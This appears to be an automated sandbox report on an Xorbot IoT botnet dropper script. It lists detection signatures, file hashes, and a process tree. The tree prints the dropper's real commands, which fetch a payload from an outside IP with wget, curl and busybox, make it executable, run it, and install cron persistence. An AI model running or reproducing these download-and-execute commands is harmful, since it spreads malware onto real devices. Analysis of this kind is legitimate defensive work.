Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28/01/2025, 22:17

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250128-17cpsasqfw
  • SHA256 408ec672d8445b9b4b5be6b7ad5da9c88b30ec1feb135c2a3f6f64c14dc88ba5
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (652) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:669
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:671
      • /usr/bin/wget
        wget http://94.154.35.94/bins/G0RJKIMiXZfAvOOCWKIvRumQwJozf23pag
        2⤵
        • Writes file to tmp directory
        PID:674
      • /usr/bin/curl
        curl -O http://94.154.35.94/bins/G0RJKIMiXZfAvOOCWKIvRumQwJozf23pag
        2⤵
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:698
      • /bin/busybox
        /bin/busybox wget http://94.154.35.94/bins/G0RJKIMiXZfAvOOCWKIvRumQwJozf23pag
        2⤵
        • Writes file to tmp directory
        PID:703
      • /bin/chmod
        chmod 777 G0RJKIMiXZfAvOOCWKIvRumQwJozf23pag
        2⤵
        • File and Directory Permissions Modification
        PID:708
      • /tmp/G0RJKIMiXZfAvOOCWKIvRumQwJozf23pag
        ./G0RJKIMiXZfAvOOCWKIvRumQwJozf23pag
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:710
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:712
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:713
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:715
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:716
            • /bin/rm
              rm G0RJKIMiXZfAvOOCWKIvRumQwJozf23pag
              2⤵
                PID:732
              • /usr/bin/wget
                wget http://94.154.35.94/bins/juzmqD0o4IeLIQhcKsEBLzYzL09VNEmERB
                2⤵
                  PID:735

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    G0RJKIMiXZfAvOOCWKIvRumQwJozf23pag

                    • Path /tmp/G0RJKIMiXZfAvOOCWKIvRumQwJozf23pag
                    • Size 119KB
                    • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                    • MD5 SHA1 SHA512 SSDEEP

                    tmp.PuKPJV

                    • Path /var/spool/cron/crontabs/tmp.PuKPJV
                    • Size 210B
                    • SHA256 92e6e63c3bef488deb87e74ce0a41171678ea9f37d8e0af2072b226be43a3036
                    • MD5 SHA1 SHA512